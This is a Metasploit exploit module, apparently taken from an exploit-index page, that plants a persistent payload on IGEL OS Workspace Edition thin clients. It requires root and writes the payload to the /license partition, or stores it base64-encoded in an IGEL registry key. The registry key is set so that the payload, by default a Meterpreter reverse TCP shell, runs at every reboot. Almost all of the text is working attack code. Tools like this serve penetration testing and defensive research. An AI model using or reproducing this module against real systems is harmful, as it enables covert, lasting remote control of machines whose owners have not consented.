Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-IGEL_PERSISTENCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Unix
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IGEL OS Persistent Payload',
        'Description' => %q{
          Gain persistence for specified payload on IGEL OS Workspace Edition, by writing
          a payload to disk or base64-encoding and executing from registry.
        },
        'Author' => 'Zack Didcott',
        'License' => MSF_LICENSE,
        'Platform' => ['linux'],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ARCH_CMD],
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' },
              'Type' => :nix_cmd
            }
          ],
          [
            'Linux Dropper', {
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'DefaultTarget' => 0,
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('REGISTRY_KEY', [
        true,
        'Registry key to use for automatically executing payload',
        'userinterface.rccustom.custom_cmd_net_final'
      ]),
      OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']),
      OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false])
    ])
  end

  def validate
    unless is_root?
      fail_with(Failure::NoAccess, 'Session does not have root access')
    end
  end

  def install_persistence
    validate

    case target['Type']
    when :nix_cmd
      command = payload.encoded
    when :linux_dropper
      if datastore['REGISTRY_ONLY']
        print_status('Base64-encoding payload')
        encoded_payload = Rex::Text.encode_base64(generate_payload_exe)
        command = base64_command(encoded_payload)
      else
        print_status("Uploading payload to #{datastore['TARGET_DIR']}")
        payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)
        command = local_command(payload_file)
      end
    end

    print_status('Writing persistence to registry')
    write_registry(datastore['REGISTRY_KEY'], command)
    if get_registry(datastore['REGISTRY_KEY']) != command
      fail_with(Failure::Unknown, 'Failed to write to registry')
    else
      print_status('Registry written successfully')
      print_status('The payload should be executed when the target reboots')
    end
  end

  def remount_license(opt = 'rw')
    create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license'])
  end

  def write_payload(contents, dir, perm)
    remount_license('rw')

    filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
    write_file(filepath, contents)
    chmod(filepath, perm)

    remount_license('ro')

    return filepath
  end

  def base64_command(encoded_payload)
    payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
    "/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"
  end

  def local_command(payload_file)
    command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"
    return command
  end

  def get_registry(key)
    create_process('/bin/get', args: [key])
  end

  def write_registry(key, value)
    create_process('/bin/setparam', args: [key, value])
  end
end